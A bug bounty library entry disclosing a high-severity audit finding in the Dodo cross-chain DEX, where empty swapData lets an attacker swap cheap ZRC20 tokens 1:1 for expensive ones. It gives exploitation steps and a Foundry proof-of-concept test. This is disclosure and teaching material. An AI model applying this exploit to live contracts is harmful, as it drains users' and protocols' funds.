# Attacker can steal an  high-value token due to lack of swap execution

Empty swapData in _doMixSwap skips swap and returns input amount, letting attacker receive higher-value targetZRC20 1:1 and drain contract balances.

- Payout: Audit contest
- Severity: high
- Program: Dodo Cross Chain Dex
- Found by: 0xc0ffEE
- Disclosed: 2025-05-29
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/416
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-05-dodo-cross-chain-dex%3AH-3
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** GatewayTransferNative / GatewayCrossChain cross-chain swap contract
**Root cause:** _doMixSwap returns the input amount unchanged when swapData is empty, without verifying that decoded.targetZRC20 equals the deposited zrc20, so no swap is enforced between differing tokens.
**Steps:**
1. Preload contract with ZRC20 balances (e.g. token1Z=AVAX-ZRC, token2Z=ETH.ARB-ZRC) via mint in test.
2. Build message with targetZRC20=address(token2Z), swapDataZ="", sender/receiver/contractAddress/fromTokenB/toTokenB set.
3. Call `token1Z.approve(gatewayTransferNative, amount)` then `gatewayTransferNative.withdrawToNativeChain(address(token1Z), amount, message)`.
4. _doMixSwap sees empty swapData, returns amount without swapping.
5. Receiver gets token2Z (ETH.ARB) 1:1 in wei for deposited token1Z (AVAX), draining high-value balance.
**How found:** Code reading of _doMixSwap revealed the `if (swapData.length == 0) return amount;` early return and noticed no check that input zrc20 matches decoded.targetZRC20, then constructed a mismatched-token message to confirm.
**Exploitation:** Attacker deposits a low-value ZRC20 with empty swapData and targetZRC20 set to a high-value ZRC20 held by the contract (e.g. from refund flows); _doMixSwap early-returns the input amount and the contract pays out the high-value token 1:1, extracting value at favorable USD rates.
**Insight:** When a swap helper short-circuits on empty calldata, check whether the caller-supplied output token is validated against the input token; mismatched-token paths let you redeem cheap deposits for expensive contract-held balances.

## Proof of concept (copied exactly from the original report)

**Foundry test proving empty swapData drains high-value token**

```
function test_IamOTI_badSwapdataofDoMIxSwap() public {
    // Simulate production state: preload contract with ZRC20 balances
    token1Z.mint(address(gatewayTransferNative), 2000 ether); // token1Z = AVAX-ZRC (~$20)
    token2Z.mint(address(gatewayTransferNative), 2000 ether); // token2Z = ETH.ARB-ZRC (~$2300)

    uint256 amount = 100 ether;
    uint32 dstChainId = 421614; // Arbitrum Sepolia testnet chain ID

    // Construct the cross-chain message with a mismatched targetZRC20 and empty swapData
    address targetZRC20 = address(token2Z); // target is ETH.ARB-ZRC
    bytes memory sender = abi.encodePacked(user1);
    bytes memory receiver = abi.encodePacked(user2);
    bytes memory swapDataZ = ""; // ← this triggers the early return in _doMixSwap
    bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
    bytes memory fromTokenB = abi.encodePacked(address(token2B));
    bytes memory toTokenB = abi.encodePacked(address(token2B));
    bytes memory swapDataB = "";
    bytes memory accounts = "";

    // Encode the malicious message payload
    bytes memory message = encodeMessage(
        dstChainId,
        targetZRC20,
        sender,
        receiver,
        swapDataZ,
        contractAddress,
        abi.encodePacked(fromTokenB, toTokenB, swapDataB),
        accounts
    );

    // Execute the attack simulation
    vm.startPrank(user1);
    token1Z.approve(address(gatewayTransferNative), amount);
    gatewayTransferNative.withdrawToNativeChain(address(token1Z), amount, message);
    vm.stopPrank();

    // Validate balances
    assertEq(token1Z.balanceOf(user1), initialBalance - amount);
// it is almost 1:1 token2B.balanceOf(user2) is around 98.9e18 the different is the protocol fee and the gas fee
    assertApproxEqAbs(token2B.balanceOf(user2), amount, 1.2e18); 
}
```

